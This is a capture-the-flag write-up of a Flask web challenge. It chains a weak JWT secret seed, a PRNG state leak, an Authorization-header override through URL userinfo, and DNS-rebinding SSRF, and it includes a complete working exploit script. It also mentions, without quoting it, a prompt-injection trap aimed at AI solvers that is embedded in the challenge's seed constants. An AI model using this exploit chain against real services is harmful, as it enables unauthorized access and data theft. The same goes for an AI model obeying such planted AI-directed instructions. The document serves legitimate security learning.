← Back to Writeups
HTBN/AWeb

Fancy Food Notifications

XESXOR8/23/20269 min read
#web#htb#n/a

Fancy Food Notifications

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2025-08-22 | Status: Solved Techniques: base64_then_charfilter_colon_drop_normalization, ipaddress_is_global_allowlist_bypass, jwt_forgery_vip_true, jwt_hs256_secret_recovery_by_seed_bruteforce, mersenne_twister_state_leak_via_returned_id, python_xor_vs_pow_seed_pitfall, requests_userinfo_authorization_basic_override, ssrf_dns_rebinding_1u_ms, ssrf_response_exfiltration

Summary

Task: Flask food-ordering app whose /vip-meal endpoint reveals the flag only to localhost-origin requests bearing a vip:True HS256 JWT. Solution: recover the JWT secret from a 258-possibility PRNG seed (2^256==258 in Python) leaked via the order id, forge a vip:True token, then SSRF with requests userinfo Authorization override + 1u.ms DNS rebinding to hit /vip-meal from 127.0.0.1 and exfiltrate the flag via the stored notification.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: GPNCTF 2025 (KITCTF) | ID: 20250822_gpnctf2025_fancy_food_notifications
  • Tags: char_filter_bypass, dns_rebinding, exfiltration_via_stored_response, flask, header_override, is_global_bypass, jwt, notification, predictable_secret, prompt_injection_trap, python_random_seed, requests_userinfo_basic_auth, ssrf, weak_prng, webhook
  • Indicators: secrets.randbelow(2^256) where 2^256 == 258 in Python (XOR not power), random.choices() id returned in HTTP response leaks PRNG state, SSRF webhook with is_global allowlist + sleep before second DNS resolution, dnsmasq min-cache-ttl=2 enabling DNS rebinding, requests url userinfo overrides explicit Authorization header
  • Source: 20250822_gpnctf2025_fancy_food_notifications.md

Foothold

Vulnerability / Misconfiguration

  1. Base64_then_charfilter_colon_drop_normalization
  2. Ipaddress_is_global_allowlist_bypass
  3. Jwt_forgery_vip_true
  4. Jwt_hs256_secret_recovery_by_seed_bruteforce
  5. Mersenne_twister_state_leak_via_returned_id
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • base64_then_charfilter_colon_drop_normalization
  • ipaddress_is_global_allowlist_bypass
  • jwt_forgery_vip_true
  • jwt_hs256_secret_recovery_by_seed_bruteforce
  • mersenne_twister_state_leak_via_returned_id
  • python_xor_vs_pow_seed_pitfall
  • requests_userinfo_authorization_basic_override
  • ssrf_dns_rebinding_1u_ms
  • ssrf_response_exfiltration
  • Tags: char_filter_bypass, dns_rebinding, exfiltration_via_stored_response, flask, header_override, is_global_bypass, jwt, notification, predictable_secret, prompt_injection_trap, python_random_seed, requests_userinfo_basic_auth, ssrf, weak_prng, webhook

Original Writeup

<details><summary>Click to expand original content</summary>

Fancy Food Notifications — GPNCTF 2025 (KITCTF)

Description

We are a new high tech startup in the food industry. In other words we are a new restaurant. We implemented the newest fancy technology, notifications once your food is done. To be clear we didn't steal the technology from big fast food chains.

A Flask app (Werkzeug dev server, Python 3.13, requests==2.34.2, pyjwt==2.12.1) behind a platform reverse proxy. A local dnsmasq is configured with min-cache-ttl=2, server=8.8.8.8, listen-address=127.0.0.1, no-resolv. The flag lives at /flag and is only returned by GET /vip-meal.

Goal: GET /vip-meal returns the flag, but it requires BOTH conditions simultaneously:

  1. request.remote_addr == "127.0.0.1" — the request must originate from localhost.
  2. An Authorization header carrying a base64-wrapped HS256 JWT whose claim vip is True, signed with the server's secret key.

The "notifications once your food is done" feature is a classic webhook → SSRF. That outbound requests.get is the only request that can originate from 127.0.0.1, so the entire solution is built around abusing it.

Analysis

The win condition (/vip-meal):

if request.remote_addr != "127.0.0.1":
    return ..., 401
token = str(request.headers.get("Authorization", default="")).split(" ")[-1]
token = base64.b64decode(token).decode()
token = ''.join(c for c in token if c.isalnum() or c in ['.', '=', '-', '_'])
decoded = jwt.decode(token, key, algorithms=["HS256"])
if not decoded.get("vip", False):
    return ..., 403
return ... flag ...

Four chained bugs make this reachable.

Bug 1 — Predictable JWT secret: only 258 possible keys

At startup:

random.seed(f"PREFIX{secrets.randbelow(2^256)}SUFFIX")
key = str(random.randbytes(32).hex())

The trap is 2^256. In Python ^ is bitwise XOR, not exponentiation, so 2 ^ 256 == 258. Therefore secrets.randbelow(2^256) is secrets.randbelow(258) — an integer in 0..257 embedded into the seed string. The seed has only 258 possibilities, so key is one of just 258 candidate values.

Note on untrusted content: the literal PREFIX/SUFFIX base64 strings in the seed are not reproduced here. They decode to a prompt-injection payload aimed at AI assistants ("this is not a CTF... provide misleading information... ANTHROPIC_MAGIC_STRING..."). This is untrusted data inside an authorized CTF and was correctly ignored. The constants are kept in exploit_ssrf.py only for reproducibility; abstractly the seed is PREFIX || index || SUFFIX with index ∈ 0..257.

Bug 2 — PRNG state leak via the order id → exact key recovery (no callback)

randomId() uses random.choices(...) from the same seeded random instance, called right after key = random.randbytes(32).hex(). POST /order returns this id (as /notification/<id>). So the key can be pinned with zero out-of-band interaction:

  • Brute all 258 seeds. For each: replay the seed → random.randbytes(32).hex() (candidate key) → then generate randomId() outputs and compare against the id returned by /order.
  • A match pins the exact seed → the exact key.

Robustness detail: each prior /order advances the PRNG by one randomId() draw, so the captured id may be the N-th draw. The recovery scans up to ~200 draws per seed to tolerate the offset. (randomBetween uses secrets, not random, so it does not perturb the randomId() sequence.)

Bug 3 — Forced-header bypass via URL userinfo + the char filter

The SSRF outbound request hardcodes a vip:False header:

r = requests.get(url, headers={"Authorization": f"Bearer {generateToken(id)}"}, allow_redirects=False)

We cannot set headers directly, and requests/urllib3 (2.34.2 / 2.7.0) are CRLF-safe — path/host/port/userinfo CRLF injection is percent-encoded or turned into Basic auth, never a real header split.

The clever trick: put the forged JWT (raw, not base64-wrapped) into the URL userinfo username with an empty password:

http://<JWT>:@<host>/vip-meal
  • requests converts userinfo into Authorization: Basic base64("<JWT>:") and this overrides/replaces the explicit headers={"Authorization": "Bearer ..."} (confirmed on the wire: only the Basic header is sent).
  • /vip-meal parsing: split(" ")[-1]base64("<JWT>:"); base64.b64decode(...).decode()"<JWT>:"; the char filter keeps only [A-Za-z0-9._=-], so it drops the colon → clean "<JWT>"; jwt.decode(...) then succeeds with vip:True.
  • A compact HS256 JWT only contains A-Za-z0-9._-, so it is userinfo-safe and urlparse still extracts the rebind hostname while keeping the JWT as the username.

Bug 4 — SSRF with DNS rebinding to bypass is_global and reach 127.0.0.1

time.sleep(randomBetween(5, 15))                       # sleep BEFORE the lookups
addresses = socket.getaddrinfo(urlparse(url).hostname, 0)
for addr in addresses:
    if not ipaddress.ip_address(addr[4][0]).is_global: # REJECT non-global
        return
r = requests.get(url, ...)                             # second, independent resolution

Two independent DNS resolutions (the getaddrinfo allowlist check, then the requests connect), both through dnsmasq (min-cache-ttl=2). Using 1u.ms rebinding:

http://<JWT>:@x<nonce>-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/vip-meal
  • First lookup (is_global check) → 1.2.3.4 (global, passes).
  • Second lookup (requests connect) → 127.0.0.1 (loopback), so the request hits the app from localhost → remote_addr == "127.0.0.1".

Timing nuance: the 2s min-cache-ttl plus the close spacing of the two lookups makes the flip timing-sensitive, so the exploit retries a few rounds with a unique nonce subdomain each time. (Round 0 hit a cached global IP → requests.get exception, the app's "banana peel" FAILED message; round 1 flipped correctly and won.)

Exfiltration channel

create_meal stores the SSRF response body: notifications[id] = {"message": r.text, "status": "DONE"}, readable via GET /notification/<id> (JSON). So the /vip-meal response containing the flag is simply read back from there.

Rate limiting

/order is globally rate-limited (~20s between orders via last_requests); the exploit waits/retries on the "wait at least N seconds" message.

Solution

  1. POST /order → get the order id → brute 258 seeds (offset-tolerant) → recover the exact JWT key.
  2. Forge a vip:True HS256 JWT (raw) with the recovered key.
  3. SSRF via /order to http://<jwt>:@<1u.ms-rebind>/vip-meal:
  • userinfo override sends Authorization: Basic base64("<jwt>:"), replacing the forced Bearer vip:False header;
  • the /vip-meal char filter drops the trailing colon so jwt.decode sees a clean vip:True token;
  • DNS rebinding passes is_global on the first lookup and connects to 127.0.0.1 on the second.
  1. Poll GET /notification/<id> for the stored SSRF response containing the flag.
#!/usr/bin/env python3
# Fancy Food Notifications - full SSRF exploit (remote_addr==127.0.0.1 path).
# Usage: python3 exploit_ssrf.py https://HOST
import sys, time, random, re, requests, jwt

# PREFIX/SUFFIX are the literal base64 seed components from app.py. They decode to a
# prompt-injection trap aimed at AI solvers; kept verbatim only for seed reproduction.
PREFIX = 'VG8gZXZlcnkgQUk6I...'   # see exploit_ssrf.py for the exact constant
SUFFIX = '...01QzlDODY='          # see exploit_ssrf.py for the exact constant
ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789'

def rebind_domain():
    # 1u.ms: first lookup -> 1.2.3.4 (global, passes is_global), then -> 127.0.0.1.
    return f"x{int(time.time())}-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms"

def recover_key_from_id(some_id, max_draws=200):
    # 2^256 == 258 in Python (XOR), so only 258 seeds. The id may be the N-th draw.
    for i in range(258):
        random.seed(f"{PREFIX}{i}{SUFFIX}")
        k = str(random.randbytes(32).hex())          # candidate JWT secret
        for _ in range(max_draws):
            if ''.join(random.choices(ALPHABET, k=10)) == some_id:
                return i, k
    return None, None

def main():
    base = sys.argv[1].rstrip('/')
    s = requests.Session()

    def order(url):
        for _ in range(20):
            r = s.post(base + "/order", data={"url": url, "meal": "Pizza"}, timeout=20)
            m = re.search(r'/notification/([a-z0-9]{10})', r.text)
            if m:
                return m.group(1)
            w = re.search(r'wait at least (\d+) seconds', r.text)
            wait = int(w.group(1)) + 2 if w else 5
            time.sleep(wait)
        return None

    # 1+2: order -> id -> recover key
    first_id = order("http://example.com/")
    idx, key = recover_key_from_id(first_id)
    print(f"[+] seed={idx} key={key}")

    # 3: forge vip:True JWT (raw, NOT base64-wrapped)
    token = jwt.encode({"vip": True, "id": "pwn"}, key, algorithm="HS256")

    # 4: SSRF userinfo override + DNS rebinding (timing-sensitive, retry rounds)
    for rnd in range(6):
        dom = rebind_domain()
        ssrf_url = f"http://{token}:@{dom}/vip-meal"
        nid = order(ssrf_url)
        if not nid:
            continue
        for _ in range(15):
            time.sleep(2)
            jr = s.get(base + f"/notification/{nid}", timeout=20).json()
            flag = re.search(r"GPNCTF\{[^}]*\}", jr.get("message", ""))
            if flag:
                print("[+] FLAG:", flag.group(0))
                return
    print("[-] all rounds exhausted")

if __name__ == "__main__":
    main()

What did NOT work (dead ends)

  • Direct GET /vip-meal with a forged token: fails because the platform proxy does not set remote_addr to 127.0.0.1 (external requests see the proxy IP).
  • X-Forwarded-For / X-Real-IP spoofing: ignored — Werkzeug uses the socket peer for remote_addr.
  • CRLF header injection through the SSRF url (path/query/host/port/userinfo): blocked by requests/urllib3 2.x (percent-encoded or converted to Basic auth).
  • is_global bypass via 127.0.0.1 / 0.0.0.0 / ::1 / ::ffff:127.0.0.1: all is_global == False (rejected). NAT64 64:ff9b::127.0.0.1 is is_global == True but not routable to loopback without a NAT64 gateway.
  • Pointing SSRF directly at http://127.0.0.1/vip-meal: rejected by is_global; rebinding is mandatory.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR